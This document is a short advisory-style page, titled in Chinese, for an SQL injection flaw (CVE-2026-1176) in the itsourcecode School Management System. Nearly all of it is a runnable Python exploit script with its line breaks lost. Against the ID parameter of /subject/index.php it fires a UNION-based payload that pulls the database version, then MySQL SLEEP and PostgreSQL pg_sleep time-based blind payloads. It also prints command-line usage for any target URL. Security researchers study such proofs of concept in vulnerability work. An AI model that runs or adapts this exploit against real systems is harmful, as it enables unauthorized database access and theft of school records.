CVE-2026-1176 itsourcecode学校管理系统SQL注入漏洞

import requests import sys # CVE-2026-1176 SQL Injection PoC # Target: itsourcecode School Management System 1.0 # File affected: /subject/index.php # Parameter: ID def exploit_sql_injection(target_url, param_id): """ SQL Injection PoC for CVE-2026-1176 Test with boolean-based blind injection """ # Original request original_url = f"{target_url}/subject/index.php?ID={param_id}" # Test payload - extract database version # Using UNION-based injection payload = f"{param_id}' UNION SELECT NULL,NULL,version(),NULL,NULL---" test_url = f"{target_url}/subject/index.php?ID={payload}" print(f"[*] Target: {target_url}") print(f"[*] Testing payload: {payload}") try: response = requests.get(test_url, timeout=10) if response.status_code == 200: print(f"[+] Response received (Status: {response.status_code})") print(f"[+] Length: {len(response.text)} bytes") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_database_info(target_url): """ Extract database information using time-based blind injection """ # Time-based blind injection payload # Adjust sleep time based on database type payloads = [ "1' AND SLEEP(5)-- -", # MySQL time-based "1'; SELECT pg_sleep(5)--" # PostgreSQL time-based ] for payload in payloads: url = f"{target_url}/subject/index.php?ID={payload}" print(f"[*] Testing: {url}") try: response = requests.get(url, timeout=15) print(f"[+] Request completed") except requests.exceptions.Timeout: print(f"[+] Time-based injection confirmed (sleep executed)") break if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-1176.py <target_url>") print("Example: python cve-2026-1176.py http://target.com/school") sys.exit(1) target = sys.argv[1].rstrip('/') print("CVE-2026-1176 SQL Injection PoC") print("=" * 50) # Test basic injection exploit_sql_injection(target, "1") # Test blind injection extract_database_info(target)